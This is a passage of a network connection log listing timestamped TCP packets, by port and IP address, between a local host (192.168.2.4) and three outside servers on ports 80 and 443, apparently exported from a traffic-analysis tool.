Nov 23, 2024 03:21:23.451761961 CET	80	49790	185.215.113.16	192.168.2.4
Nov 23, 2024 03:21:23.451867104 CET	49790	80	192.168.2.4	185.215.113.16
Nov 23, 2024 03:21:23.451869965 CET	80	49790	185.215.113.16	192.168.2.4
Nov 23, 2024 03:21:23.451913118 CET	49790	80	192.168.2.4	185.215.113.16
Nov 23, 2024 03:21:23.455281019 CET	80	49790	185.215.113.16	192.168.2.4
Nov 23, 2024 03:21:23.455327988 CET	49790	80	192.168.2.4	185.215.113.16
Nov 23, 2024 03:21:23.455390930 CET	80	49790	185.215.113.16	192.168.2.4
Nov 23, 2024 03:21:23.455519915 CET	49790	80	192.168.2.4	185.215.113.16
Nov 23, 2024 03:21:23.457359076 CET	80	49790	185.215.113.16	192.168.2.4
Nov 23, 2024 03:21:23.457408905 CET	49790	80	192.168.2.4	185.215.113.16
Nov 23, 2024 03:21:23.457496881 CET	80	49790	185.215.113.16	192.168.2.4
Nov 23, 2024 03:21:23.457562923 CET	49790	80	192.168.2.4	185.215.113.16
Nov 23, 2024 03:21:23.459454060 CET	80	49790	185.215.113.16	192.168.2.4
Nov 23, 2024 03:21:23.459500074 CET	49790	80	192.168.2.4	185.215.113.16
Nov 23, 2024 03:21:23.459552050 CET	80	49790	185.215.113.16	192.168.2.4
Nov 23, 2024 03:21:23.459609032 CET	49790	80	192.168.2.4	185.215.113.16
Nov 23, 2024 03:21:23.461575985 CET	80	49790	185.215.113.16	192.168.2.4
Nov 23, 2024 03:21:23.461642981 CET	49790	80	192.168.2.4	185.215.113.16
Nov 23, 2024 03:21:23.461656094 CET	80	49790	185.215.113.16	192.168.2.4
Nov 23, 2024 03:21:23.461692095 CET	49790	80	192.168.2.4	185.215.113.16
Nov 23, 2024 03:21:23.463627100 CET	80	49790	185.215.113.16	192.168.2.4
Nov 23, 2024 03:21:23.463676929 CET	49790	80	192.168.2.4	185.215.113.16
Nov 23, 2024 03:21:23.463748932 CET	80	49790	185.215.113.16	192.168.2.4
Nov 23, 2024 03:21:23.463798046 CET	49790	80	192.168.2.4	185.215.113.16
Nov 23, 2024 03:21:23.468903065 CET	80	49790	185.215.113.16	192.168.2.4
Nov 23, 2024 03:21:23.468918085 CET	80	49790	185.215.113.16	192.168.2.4
Nov 23, 2024 03:21:23.468933105 CET	80	49790	185.215.113.16	192.168.2.4
Nov 23, 2024 03:21:23.468949080 CET	80	49790	185.215.113.16	192.168.2.4
Nov 23, 2024 03:21:23.468950987 CET	49790	80	192.168.2.4	185.215.113.16
Nov 23, 2024 03:21:23.468974113 CET	49790	80	192.168.2.4	185.215.113.16
Nov 23, 2024 03:21:23.469011068 CET	49790	80	192.168.2.4	185.215.113.16
Nov 23, 2024 03:21:23.471000910 CET	80	49790	185.215.113.16	192.168.2.4
Nov 23, 2024 03:21:23.471016884 CET	80	49790	185.215.113.16	192.168.2.4
Nov 23, 2024 03:21:23.471060991 CET	49790	80	192.168.2.4	185.215.113.16
Nov 23, 2024 03:21:23.472929001 CET	80	49790	185.215.113.16	192.168.2.4
Nov 23, 2024 03:21:23.472973108 CET	49790	80	192.168.2.4	185.215.113.16
Nov 23, 2024 03:21:23.473073959 CET	80	49790	185.215.113.16	192.168.2.4
Nov 23, 2024 03:21:23.473117113 CET	49790	80	192.168.2.4	185.215.113.16
Nov 23, 2024 03:21:23.474277973 CET	80	49790	185.215.113.16	192.168.2.4
Nov 23, 2024 03:21:23.474292994 CET	80	49790	185.215.113.16	192.168.2.4
Nov 23, 2024 03:21:23.474324942 CET	49790	80	192.168.2.4	185.215.113.16
Nov 23, 2024 03:21:23.474342108 CET	49790	80	192.168.2.4	185.215.113.16
Nov 23, 2024 03:21:23.476176023 CET	80	49790	185.215.113.16	192.168.2.4
Nov 23, 2024 03:21:23.476228952 CET	49790	80	192.168.2.4	185.215.113.16
Nov 23, 2024 03:21:23.476279020 CET	80	49790	185.215.113.16	192.168.2.4
Nov 23, 2024 03:21:23.476326942 CET	49790	80	192.168.2.4	185.215.113.16
Nov 23, 2024 03:21:23.481483936 CET	80	49790	185.215.113.16	192.168.2.4
Nov 23, 2024 03:21:23.481498957 CET	80	49790	185.215.113.16	192.168.2.4
Nov 23, 2024 03:21:23.481514931 CET	80	49790	185.215.113.16	192.168.2.4
Nov 23, 2024 03:21:23.481529951 CET	80	49790	185.215.113.16	192.168.2.4
Nov 23, 2024 03:21:23.481537104 CET	49790	80	192.168.2.4	185.215.113.16
Nov 23, 2024 03:21:23.481554985 CET	49790	80	192.168.2.4	185.215.113.16
Nov 23, 2024 03:21:23.481587887 CET	49790	80	192.168.2.4	185.215.113.16
Nov 23, 2024 03:21:23.482302904 CET	49786	80	192.168.2.4	34.116.198.130
Nov 23, 2024 03:21:23.483438015 CET	80	49790	185.215.113.16	192.168.2.4
Nov 23, 2024 03:21:23.483484030 CET	49790	80	192.168.2.4	185.215.113.16
Nov 23, 2024 03:21:23.483618975 CET	80	49790	185.215.113.16	192.168.2.4
Nov 23, 2024 03:21:23.483716011 CET	49790	80	192.168.2.4	185.215.113.16
Nov 23, 2024 03:21:23.485435963 CET	80	49790	185.215.113.16	192.168.2.4
Nov 23, 2024 03:21:23.485486031 CET	49790	80	192.168.2.4	185.215.113.16
Nov 23, 2024 03:21:23.485570908 CET	80	49790	185.215.113.16	192.168.2.4
Nov 23, 2024 03:21:23.485615015 CET	49790	80	192.168.2.4	185.215.113.16
Nov 23, 2024 03:21:23.487550974 CET	80	49790	185.215.113.16	192.168.2.4
Nov 23, 2024 03:21:23.487602949 CET	49790	80	192.168.2.4	185.215.113.16
Nov 23, 2024 03:21:23.487714052 CET	80	49790	185.215.113.16	192.168.2.4
Nov 23, 2024 03:21:23.487791061 CET	49790	80	192.168.2.4	185.215.113.16
Nov 23, 2024 03:21:23.489751101 CET	80	49790	185.215.113.16	192.168.2.4
Nov 23, 2024 03:21:23.489792109 CET	49790	80	192.168.2.4	185.215.113.16
Nov 23, 2024 03:21:23.489929914 CET	80	49790	185.215.113.16	192.168.2.4
Nov 23, 2024 03:21:23.489970922 CET	49790	80	192.168.2.4	185.215.113.16
Nov 23, 2024 03:21:23.491750956 CET	80	49790	185.215.113.16	192.168.2.4
Nov 23, 2024 03:21:23.491767883 CET	80	49790	185.215.113.16	192.168.2.4
Nov 23, 2024 03:21:23.491810083 CET	49790	80	192.168.2.4	185.215.113.16
Nov 23, 2024 03:21:23.493887901 CET	80	49790	185.215.113.16	192.168.2.4
Nov 23, 2024 03:21:23.493911982 CET	80	49790	185.215.113.16	192.168.2.4
Nov 23, 2024 03:21:23.493938923 CET	49790	80	192.168.2.4	185.215.113.16
Nov 23, 2024 03:21:23.493963957 CET	49790	80	192.168.2.4	185.215.113.16
Nov 23, 2024 03:21:23.495939970 CET	80	49790	185.215.113.16	192.168.2.4
Nov 23, 2024 03:21:23.495987892 CET	49790	80	192.168.2.4	185.215.113.16
Nov 23, 2024 03:21:23.496087074 CET	80	49790	185.215.113.16	192.168.2.4
Nov 23, 2024 03:21:23.496129990 CET	49790	80	192.168.2.4	185.215.113.16
Nov 23, 2024 03:21:23.498159885 CET	80	49790	185.215.113.16	192.168.2.4
Nov 23, 2024 03:21:23.498176098 CET	80	49790	185.215.113.16	192.168.2.4
Nov 23, 2024 03:21:23.498214960 CET	49790	80	192.168.2.4	185.215.113.16
Nov 23, 2024 03:21:23.499522924 CET	80	49790	185.215.113.16	192.168.2.4
Nov 23, 2024 03:21:23.499576092 CET	49790	80	192.168.2.4	185.215.113.16
Nov 23, 2024 03:21:23.499677896 CET	80	49790	185.215.113.16	192.168.2.4
Nov 23, 2024 03:21:23.499725103 CET	49790	80	192.168.2.4	185.215.113.16
Nov 23, 2024 03:21:23.502163887 CET	80	49790	185.215.113.16	192.168.2.4
Nov 23, 2024 03:21:23.502212048 CET	49790	80	192.168.2.4	185.215.113.16
Nov 23, 2024 03:21:23.502314091 CET	80	49790	185.215.113.16	192.168.2.4
Nov 23, 2024 03:21:23.502356052 CET	49790	80	192.168.2.4	185.215.113.16
Nov 23, 2024 03:21:23.504278898 CET	80	49790	185.215.113.16	192.168.2.4
Nov 23, 2024 03:21:23.504329920 CET	49790	80	192.168.2.4	185.215.113.16
Nov 23, 2024 03:21:23.504426003 CET	80	49790	185.215.113.16	192.168.2.4
Nov 23, 2024 03:21:23.504494905 CET	49790	80	192.168.2.4	185.215.113.16
Nov 23, 2024 03:21:23.505429983 CET	80	49790	185.215.113.16	192.168.2.4
Nov 23, 2024 03:21:23.505479097 CET	49790	80	192.168.2.4	185.215.113.16
Nov 23, 2024 03:21:23.505507946 CET	80	49790	185.215.113.16	192.168.2.4
Nov 23, 2024 03:21:23.505605936 CET	49790	80	192.168.2.4	185.215.113.16
Nov 23, 2024 03:21:23.505711079 CET	443	49787	13.107.246.63	192.168.2.4
Nov 23, 2024 03:21:23.505785942 CET	443	49787	13.107.246.63	192.168.2.4
Nov 23, 2024 03:21:23.505954027 CET	49787	443	192.168.2.4	13.107.246.63
Nov 23, 2024 03:21:23.506151915 CET	49787	443	192.168.2.4	13.107.246.63
Nov 23, 2024 03:21:23.506166935 CET	443	49787	13.107.246.63	192.168.2.4
Nov 23, 2024 03:21:23.506177902 CET	49787	443	192.168.2.4	13.107.246.63
Nov 23, 2024 03:21:23.506184101 CET	443	49787	13.107.246.63	192.168.2.4
Nov 23, 2024 03:21:23.507519007 CET	80	49790	185.215.113.16	192.168.2.4
Nov 23, 2024 03:21:23.507567883 CET	49790	80	192.168.2.4	185.215.113.16
Nov 23, 2024 03:21:23.507626057 CET	80	49790	185.215.113.16	192.168.2.4
Nov 23, 2024 03:21:23.507664919 CET	49790	80	192.168.2.4	185.215.113.16
Nov 23, 2024 03:21:23.509639025 CET	80	49790	185.215.113.16	192.168.2.4
Nov 23, 2024 03:21:23.509653091 CET	80	49790	185.215.113.16	192.168.2.4
Nov 23, 2024 03:21:23.509700060 CET	49790	80	192.168.2.4	185.215.113.16
Nov 23, 2024 03:21:23.510221958 CET	49794	443	192.168.2.4	13.107.246.63
Nov 23, 2024 03:21:23.510262012 CET	443	49794	13.107.246.63	192.168.2.4
Nov 23, 2024 03:21:23.510390043 CET	49794	443	192.168.2.4	13.107.246.63
Nov 23, 2024 03:21:23.510726929 CET	49794	443	192.168.2.4	13.107.246.63
Nov 23, 2024 03:21:23.510746002 CET	443	49794	13.107.246.63	192.168.2.4
Nov 23, 2024 03:21:23.588815928 CET	80	49786	34.116.198.130	192.168.2.4
Nov 23, 2024 03:21:23.588877916 CET	80	49786	34.116.198.130	192.168.2.4
Nov 23, 2024 03:21:23.588960886 CET	49786	80	192.168.2.4	34.116.198.130
Nov 23, 2024 03:21:23.589206934 CET	80	49786	34.116.198.130	192.168.2.4
Nov 23, 2024 03:21:23.589407921 CET	80	49786	34.116.198.130	192.168.2.4
Nov 23, 2024 03:21:23.589526892 CET	80	49786	34.116.198.130	192.168.2.4
Nov 23, 2024 03:21:23.589580059 CET	49786	80	192.168.2.4	34.116.198.130
Nov 23, 2024 03:21:23.590492010 CET	80	49786	34.116.198.130	192.168.2.4
Nov 23, 2024 03:21:23.590548038 CET	80	49786	34.116.198.130	192.168.2.4
Nov 23, 2024 03:21:23.590559959 CET	49786	80	192.168.2.4	34.116.198.130
Nov 23, 2024 03:21:23.591459036 CET	80	49786	34.116.198.130	192.168.2.4
Nov 23, 2024 03:21:23.591521978 CET	49786	80	192.168.2.4	34.116.198.130
Nov 23, 2024 03:21:23.591583014 CET	80	49786	34.116.198.130	192.168.2.4
Nov 23, 2024 03:21:23.592503071 CET	80	49786	34.116.198.130	192.168.2.4
Nov 23, 2024 03:21:23.592518091 CET	80	49786	34.116.198.130	192.168.2.4
Nov 23, 2024 03:21:23.592566013 CET	49786	80	192.168.2.4	34.116.198.130
Nov 23, 2024 03:21:23.593492031 CET	80	49786	34.116.198.130	192.168.2.4
Nov 23, 2024 03:21:23.593563080 CET	49786	80	192.168.2.4	34.116.198.130
Nov 23, 2024 03:21:23.593576908 CET	80	49786	34.116.198.130	192.168.2.4
Nov 23, 2024 03:21:23.594522953 CET	80	49786	34.116.198.130	192.168.2.4
Nov 23, 2024 03:21:23.594611883 CET	80	49786	34.116.198.130	192.168.2.4
Nov 23, 2024 03:21:23.594639063 CET	49786	80	192.168.2.4	34.116.198.130
Nov 23, 2024 03:21:23.595535994 CET	80	49786	34.116.198.130	192.168.2.4
Nov 23, 2024 03:21:23.595629930 CET	80	49786	34.116.198.130	192.168.2.4
Nov 23, 2024 03:21:23.595679998 CET	49786	80	192.168.2.4	34.116.198.130
Nov 23, 2024 03:21:23.596712112 CET	80	49786	34.116.198.130	192.168.2.4
Nov 23, 2024 03:21:23.596772909 CET	49786	80	192.168.2.4	34.116.198.130
Nov 23, 2024 03:21:23.596826077 CET	80	49786	34.116.198.130	192.168.2.4
Nov 23, 2024 03:21:23.597551107 CET	80	49786	34.116.198.130	192.168.2.4
Nov 23, 2024 03:21:23.597604990 CET	49786	80	192.168.2.4	34.116.198.130
Nov 23, 2024 03:21:23.597698927 CET	80	49786	34.116.198.130	192.168.2.4
Nov 23, 2024 03:21:23.598664999 CET	80	49786	34.116.198.130	192.168.2.4
Nov 23, 2024 03:21:23.598702908 CET	80	49786	34.116.198.130	192.168.2.4
Nov 23, 2024 03:21:23.598711014 CET	49786	80	192.168.2.4	34.116.198.130
Nov 23, 2024 03:21:23.599589109 CET	80	49786	34.116.198.130	192.168.2.4
Nov 23, 2024 03:21:23.599714041 CET	80	49786	34.116.198.130	192.168.2.4
Nov 23, 2024 03:21:23.599730968 CET	49786	80	192.168.2.4	34.116.198.130
Nov 23, 2024 03:21:23.600604057 CET	80	49786	34.116.198.130	192.168.2.4
Nov 23, 2024 03:21:23.600658894 CET	49786	80	192.168.2.4	34.116.198.130
Nov 23, 2024 03:21:23.600723028 CET	80	49786	34.116.198.130	192.168.2.4
Nov 23, 2024 03:21:23.601567030 CET	443	49788	13.107.246.63	192.168.2.4
Nov 23, 2024 03:21:23.601630926 CET	80	49786	34.116.198.130	192.168.2.4
Nov 23, 2024 03:21:23.601630926 CET	443	49788	13.107.246.63	192.168.2.4
Nov 23, 2024 03:21:23.601708889 CET	49786	80	192.168.2.4	34.116.198.130
Nov 23, 2024 03:21:23.601727009 CET	80	49786	34.116.198.130	192.168.2.4
Nov 23, 2024 03:21:23.601759911 CET	49788	443	192.168.2.4	13.107.246.63
Nov 23, 2024 03:21:23.602128029 CET	80	49790	185.215.113.16	192.168.2.4
Nov 23, 2024 03:21:23.602215052 CET	80	49790	185.215.113.16	192.168.2.4
Nov 23, 2024 03:21:23.602248907 CET	49790	80	192.168.2.4	185.215.113.16
Nov 23, 2024 03:21:23.602262020 CET	49790	80	192.168.2.4	185.215.113.16
Nov 23, 2024 03:21:23.602643967 CET	80	49786	34.116.198.130	192.168.2.4
Nov 23, 2024 03:21:23.602690935 CET	49786	80	192.168.2.4	34.116.198.130
Nov 23, 2024 03:21:23.602754116 CET	80	49786	34.116.198.130	192.168.2.4
Nov 23, 2024 03:21:23.602777004 CET	80	49790	185.215.113.16	192.168.2.4
Nov 23, 2024 03:21:23.602791071 CET	80	49790	185.215.113.16	192.168.2.4
Nov 23, 2024 03:21:23.602819920 CET	49790	80	192.168.2.4	185.215.113.16
Nov 23, 2024 03:21:23.602829933 CET	49790	80	192.168.2.4	185.215.113.16
Nov 23, 2024 03:21:23.603651047 CET	80	49786	34.116.198.130	192.168.2.4
Nov 23, 2024 03:21:23.603707075 CET	49786	80	192.168.2.4	34.116.198.130
Nov 23, 2024 03:21:23.603755951 CET	80	49786	34.116.198.130	192.168.2.4
Nov 23, 2024 03:21:23.604664087 CET	80	49786	34.116.198.130	192.168.2.4
Nov 23, 2024 03:21:23.604713917 CET	49786	80	192.168.2.4	34.116.198.130
Nov 23, 2024 03:21:23.604758024 CET	80	49786	34.116.198.130	192.168.2.4
Nov 23, 2024 03:21:23.604805946 CET	49788	443	192.168.2.4	13.107.246.63
Nov 23, 2024 03:21:23.604823112 CET	443	49788	13.107.246.63	192.168.2.4
Nov 23, 2024 03:21:23.604836941 CET	49788	443	192.168.2.4	13.107.246.63
Nov 23, 2024 03:21:23.604842901 CET	443	49788	13.107.246.63	192.168.2.4
Nov 23, 2024 03:21:23.604873896 CET	80	49790	185.215.113.16	192.168.2.4
Nov 23, 2024 03:21:23.604899883 CET	80	49790	185.215.113.16	192.168.2.4
Nov 23, 2024 03:21:23.604913950 CET	49790	80	192.168.2.4	185.215.113.16
Nov 23, 2024 03:21:23.604923964 CET	49790	80	192.168.2.4	185.215.113.16
Nov 23, 2024 03:21:23.605705976 CET	80	49786	34.116.198.130	192.168.2.4
Nov 23, 2024 03:21:23.605756044 CET	49786	80	192.168.2.4	34.116.198.130
Nov 23, 2024 03:21:23.605808020 CET	80	49786	34.116.198.130	192.168.2.4
Nov 23, 2024 03:21:23.606717110 CET	80	49786	34.116.198.130	192.168.2.4
Nov 23, 2024 03:21:23.606794119 CET	49786	80	192.168.2.4	34.116.198.130
Nov 23, 2024 03:21:23.606815100 CET	80	49786	34.116.198.130	192.168.2.4
Nov 23, 2024 03:21:23.606925011 CET	80	49790	185.215.113.16	192.168.2.4
Nov 23, 2024 03:21:23.606997013 CET	80	49790	185.215.113.16	192.168.2.4
Nov 23, 2024 03:21:23.607048988 CET	49790	80	192.168.2.4	185.215.113.16
Nov 23, 2024 03:21:23.607723951 CET	80	49786	34.116.198.130	192.168.2.4
Nov 23, 2024 03:21:23.607781887 CET	49786	80	192.168.2.4	34.116.198.130
Nov 23, 2024 03:21:23.607831001 CET	80	49786	34.116.198.130	192.168.2.4
Nov 23, 2024 03:21:23.608772039 CET	80	49786	34.116.198.130	192.168.2.4
Nov 23, 2024 03:21:23.608824968 CET	49786	80	192.168.2.4	34.116.198.130
Nov 23, 2024 03:21:23.608845949 CET	80	49786	34.116.198.130	192.168.2.4
Nov 23, 2024 03:21:23.608999014 CET	80	49790	185.215.113.16	192.168.2.4
Nov 23, 2024 03:21:23.609046936 CET	49790	80	192.168.2.4	185.215.113.16
Nov 23, 2024 03:21:23.609127998 CET	80	49790	185.215.113.16	192.168.2.4
Nov 23, 2024 03:21:23.609162092 CET	49790	80	192.168.2.4	185.215.113.16
Nov 23, 2024 03:21:23.609746933 CET	80	49786	34.116.198.130	192.168.2.4
Nov 23, 2024 03:21:23.609812975 CET	49786	80	192.168.2.4	34.116.198.130
Nov 23, 2024 03:21:23.609858990 CET	80	49786	34.116.198.130	192.168.2.4
Nov 23, 2024 03:21:23.610769987 CET	80	49786	34.116.198.130	192.168.2.4
Nov 23, 2024 03:21:23.610821962 CET	49786	80	192.168.2.4	34.116.198.130
Nov 23, 2024 03:21:23.610869884 CET	80	49786	34.116.198.130	192.168.2.4
Nov 23, 2024 03:21:23.611056089 CET	80	49790	185.215.113.16	192.168.2.4
Nov 23, 2024 03:21:23.611104965 CET	49790	80	192.168.2.4	185.215.113.16
Nov 23, 2024 03:21:23.611790895 CET	80	49786	34.116.198.130	192.168.2.4
Nov 23, 2024 03:21:23.611901045 CET	80	49786	34.116.198.130	192.168.2.4
Nov 23, 2024 03:21:23.611928940 CET	49786	80	192.168.2.4	34.116.198.130
Nov 23, 2024 03:21:23.612801075 CET	80	49786	34.116.198.130	192.168.2.4
Nov 23, 2024 03:21:23.612909079 CET	80	49786	34.116.198.130	192.168.2.4
Nov 23, 2024 03:21:23.612974882 CET	49786	80	192.168.2.4	34.116.198.130
Nov 23, 2024 03:21:23.613816023 CET	80	49786	34.116.198.130	192.168.2.4
Nov 23, 2024 03:21:23.613877058 CET	49786	80	192.168.2.4	34.116.198.130
Nov 23, 2024 03:21:23.613924026 CET	80	49786	34.116.198.130	192.168.2.4
Nov 23, 2024 03:21:23.614836931 CET	80	49786	34.116.198.130	192.168.2.4
Nov 23, 2024 03:21:23.614880085 CET	49786	80	192.168.2.4	34.116.198.130
Nov 23, 2024 03:21:23.614950895 CET	80	49786	34.116.198.130	192.168.2.4
Nov 23, 2024 03:21:23.615864992 CET	80	49786	34.116.198.130	192.168.2.4
Nov 23, 2024 03:21:23.615947962 CET	49786	80	192.168.2.4	34.116.198.130
Nov 23, 2024 03:21:23.615967035 CET	80	49786	34.116.198.130	192.168.2.4
Nov 23, 2024 03:21:23.616874933 CET	80	49786	34.116.198.130	192.168.2.4
Nov 23, 2024 03:21:23.616985083 CET	80	49786	34.116.198.130	192.168.2.4
Nov 23, 2024 03:21:23.617019892 CET	49786	80	192.168.2.4	34.116.198.130
Nov 23, 2024 03:21:23.617892981 CET	80	49786	34.116.198.130	192.168.2.4
Nov 23, 2024 03:21:23.617949963 CET	49786	80	192.168.2.4	34.116.198.130
Nov 23, 2024 03:21:23.617990017 CET	80	49786	34.116.198.130	192.168.2.4
Nov 23, 2024 03:21:23.618937016 CET	80	49786	34.116.198.130	192.168.2.4
Nov 23, 2024 03:21:23.618961096 CET	80	49786	34.116.198.130	192.168.2.4
Nov 23, 2024 03:21:23.618982077 CET	49786	80	192.168.2.4	34.116.198.130
Nov 23, 2024 03:21:23.619457006 CET	49795	443	192.168.2.4	13.107.246.63
Nov 23, 2024 03:21:23.619488955 CET	443	49795	13.107.246.63	192.168.2.4
Nov 23, 2024 03:21:23.619544029 CET	49795	443	192.168.2.4	13.107.246.63
Nov 23, 2024 03:21:23.619769096 CET	49795	443	192.168.2.4	13.107.246.63
Nov 23, 2024 03:21:23.619779110 CET	443	49795	13.107.246.63	192.168.2.4
Nov 23, 2024 03:21:23.619924068 CET	80	49786	34.116.198.130	192.168.2.4
Nov 23, 2024 03:21:23.619972944 CET	49786	80	192.168.2.4	34.116.198.130
Nov 23, 2024 03:21:23.620069981 CET	80	49786	34.116.198.130	192.168.2.4
Nov 23, 2024 03:21:23.620934963 CET	80	49786	34.116.198.130	192.168.2.4
Nov 23, 2024 03:21:23.620985985 CET	49786	80	192.168.2.4	34.116.198.130
Nov 23, 2024 03:21:23.621043921 CET	80	49786	34.116.198.130	192.168.2.4
Nov 23, 2024 03:21:23.621949911 CET	80	49786	34.116.198.130	192.168.2.4
Nov 23, 2024 03:21:23.622011900 CET	49786	80	192.168.2.4	34.116.198.130
Nov 23, 2024 03:21:23.622071981 CET	80	49786	34.116.198.130	192.168.2.4
Nov 23, 2024 03:21:23.622968912 CET	80	49786	34.116.198.130	192.168.2.4
Nov 23, 2024 03:21:23.623014927 CET	49786	80	192.168.2.4	34.116.198.130
Nov 23, 2024 03:21:23.623084068 CET	80	49786	34.116.198.130	192.168.2.4
Nov 23, 2024 03:21:23.623979092 CET	80	49786	34.116.198.130	192.168.2.4
Nov 23, 2024 03:21:23.624089003 CET	80	49786	34.116.198.130	192.168.2.4
Nov 23, 2024 03:21:23.624109030 CET	49786	80	192.168.2.4	34.116.198.130
Nov 23, 2024 03:21:23.624974012 CET	80	49786	34.116.198.130	192.168.2.4
Nov 23, 2024 03:21:23.625022888 CET	49786	80	192.168.2.4	34.116.198.130
Nov 23, 2024 03:21:23.625183105 CET	80	49786	34.116.198.130	192.168.2.4
Nov 23, 2024 03:21:23.626033068 CET	80	49786	34.116.198.130	192.168.2.4
Nov 23, 2024 03:21:23.626094103 CET	49786	80	192.168.2.4	34.116.198.130
Nov 23, 2024 03:21:23.626152039 CET	80	49786	34.116.198.130	192.168.2.4
Nov 23, 2024 03:21:23.627055883 CET	80	49786	34.116.198.130	192.168.2.4
Nov 23, 2024 03:21:23.627175093 CET	80	49786	34.116.198.130	192.168.2.4
Nov 23, 2024 03:21:23.627218008 CET	49786	80	192.168.2.4	34.116.198.130
Nov 23, 2024 03:21:23.628061056 CET	80	49786	34.116.198.130	192.168.2.4
Nov 23, 2024 03:21:23.628113031 CET	49786	80	192.168.2.4	34.116.198.130
Nov 23, 2024 03:21:23.628169060 CET	80	49786	34.116.198.130	192.168.2.4
Nov 23, 2024 03:21:23.629138947 CET	80	49786	34.116.198.130	192.168.2.4
Nov 23, 2024 03:21:23.629203081 CET	80	49786	34.116.198.130	192.168.2.4
Nov 23, 2024 03:21:23.629260063 CET	49786	80	192.168.2.4	34.116.198.130
Nov 23, 2024 03:21:23.630108118 CET	80	49786	34.116.198.130	192.168.2.4
Nov 23, 2024 03:21:23.630162001 CET	49786	80	192.168.2.4	34.116.198.130
Nov 23, 2024 03:21:23.630244970 CET	80	49786	34.116.198.130	192.168.2.4
Nov 23, 2024 03:21:23.631124020 CET	80	49786	34.116.198.130	192.168.2.4
Nov 23, 2024 03:21:23.631176949 CET	49786	80	192.168.2.4	34.116.198.130
Nov 23, 2024 03:21:23.631227016 CET	80	49786	34.116.198.130	192.168.2.4
Nov 23, 2024 03:21:23.632138968 CET	80	49786	34.116.198.130	192.168.2.4
Nov 23, 2024 03:21:23.632209063 CET	49786	80	192.168.2.4	34.116.198.130
Nov 23, 2024 03:21:23.632258892 CET	80	49786	34.116.198.130	192.168.2.4
Nov 23, 2024 03:21:23.632900000 CET	80	49790	185.215.113.16	192.168.2.4
Nov 23, 2024 03:21:23.632972956 CET	49790	80	192.168.2.4	185.215.113.16
Nov 23, 2024 03:21:23.633045912 CET	80	49790	185.215.113.16	192.168.2.4
Nov 23, 2024 03:21:23.633097887 CET	49790	80	192.168.2.4	185.215.113.16
Nov 23, 2024 03:21:23.633171082 CET	80	49786	34.116.198.130	192.168.2.4
Nov 23, 2024 03:21:23.633186102 CET	80	49786	34.116.198.130	192.168.2.4
Nov 23, 2024 03:21:23.633219004 CET	49786	80	192.168.2.4	34.116.198.130
Nov 23, 2024 03:21:23.633788109 CET	80	49790	185.215.113.16	192.168.2.4
Nov 23, 2024 03:21:23.633842945 CET	49790	80	192.168.2.4	185.215.113.16
Nov 23, 2024 03:21:23.634155989 CET	80	49790	185.215.113.16	192.168.2.4
Nov 23, 2024 03:21:23.634171963 CET	80	49786	34.116.198.130	192.168.2.4
Nov 23, 2024 03:21:23.634211063 CET	49790	80	192.168.2.4	185.215.113.16
Nov 23, 2024 03:21:23.634378910 CET	49786	80	192.168.2.4	34.116.198.130
Nov 23, 2024 03:21:23.635261059 CET	80	49786	34.116.198.130	192.168.2.4
Nov 23, 2024 03:21:23.635276079 CET	80	49786	34.116.198.130	192.168.2.4
Nov 23, 2024 03:21:23.635293007 CET	80	49786	34.116.198.130	192.168.2.4
Nov 23, 2024 03:21:23.635346889 CET	49786	80	192.168.2.4	34.116.198.130
Nov 23, 2024 03:21:23.635560036 CET	80	49790	185.215.113.16	192.168.2.4
Nov 23, 2024 03:21:23.635601997 CET	49790	80	192.168.2.4	185.215.113.16
Nov 23, 2024 03:21:23.635674953 CET	80	49790	185.215.113.16	192.168.2.4
Nov 23, 2024 03:21:23.635715961 CET	49790	80	192.168.2.4	185.215.113.16
Nov 23, 2024 03:21:23.636209965 CET	80	49786	34.116.198.130	192.168.2.4
Nov 23, 2024 03:21:23.636265993 CET	49786	80	192.168.2.4	34.116.198.130
Nov 23, 2024 03:21:23.636323929 CET	80	49786	34.116.198.130	192.168.2.4
Nov 23, 2024 03:21:23.637211084 CET	80	49786	34.116.198.130	192.168.2.4
Nov 23, 2024 03:21:23.637300968 CET	49786	80	192.168.2.4	34.116.198.130
Nov 23, 2024 03:21:23.637321949 CET	80	49786	34.116.198.130	192.168.2.4
Nov 23, 2024 03:21:23.637362003 CET	80	49790	185.215.113.16	192.168.2.4
Nov 23, 2024 03:21:23.637377024 CET	80	49790	185.215.113.16	192.168.2.4
Nov 23, 2024 03:21:23.637413025 CET	49790	80	192.168.2.4	185.215.113.16
Nov 23, 2024 03:21:23.638221979 CET	80	49786	34.116.198.130	192.168.2.4
Nov 23, 2024 03:21:23.638283014 CET	49786	80	192.168.2.4	34.116.198.130
Nov 23, 2024 03:21:23.638326883 CET	80	49786	34.116.198.130	192.168.2.4
Nov 23, 2024 03:21:23.639134884 CET	80	49790	185.215.113.16	192.168.2.4
Nov 23, 2024 03:21:23.639198065 CET	80	49790	185.215.113.16	192.168.2.4
Nov 23, 2024 03:21:23.639244080 CET	49790	80	192.168.2.4	185.215.113.16
Nov 23, 2024 03:21:23.639251947 CET	80	49786	34.116.198.130	192.168.2.4
Nov 23, 2024 03:21:23.639266968 CET	80	49786	34.116.198.130	192.168.2.4
Nov 23, 2024 03:21:23.639305115 CET	49786	80	192.168.2.4	34.116.198.130
Nov 23, 2024 03:21:23.640249014 CET	80	49786	34.116.198.130	192.168.2.4
Nov 23, 2024 03:21:23.640382051 CET	80	49786	34.116.198.130	192.168.2.4
Nov 23, 2024 03:21:23.640446901 CET	49786	80	192.168.2.4	34.116.198.130
Nov 23, 2024 03:21:23.640856028 CET	80	49790	185.215.113.16	192.168.2.4
Nov 23, 2024 03:21:23.640903950 CET	49790	80	192.168.2.4	185.215.113.16
Nov 23, 2024 03:21:23.640952110 CET	80	49790	185.215.113.16	192.168.2.4
Nov 23, 2024 03:21:23.640995026 CET	49790	80	192.168.2.4	185.215.113.16
Nov 23, 2024 03:21:23.641278028 CET	80	49786	34.116.198.130	192.168.2.4
Nov 23, 2024 03:21:23.641333103 CET	49786	80	192.168.2.4	34.116.198.130
Nov 23, 2024 03:21:23.641354084 CET	80	49786	34.116.198.130	192.168.2.4
Nov 23, 2024 03:21:23.642632961 CET	80	49790	185.215.113.16	192.168.2.4
Nov 23, 2024 03:21:23.642751932 CET	80	49790	185.215.113.16	192.168.2.4
Nov 23, 2024 03:21:23.642802000 CET	49790	80	192.168.2.4	185.215.113.16
Nov 23, 2024 03:21:23.644397020 CET	80	49790	185.215.113.16	192.168.2.4
Nov 23, 2024 03:21:23.644450903 CET	49790	80	192.168.2.4	185.215.113.16
Nov 23, 2024 03:21:23.644495010 CET	80	49790	185.215.113.16	192.168.2.4
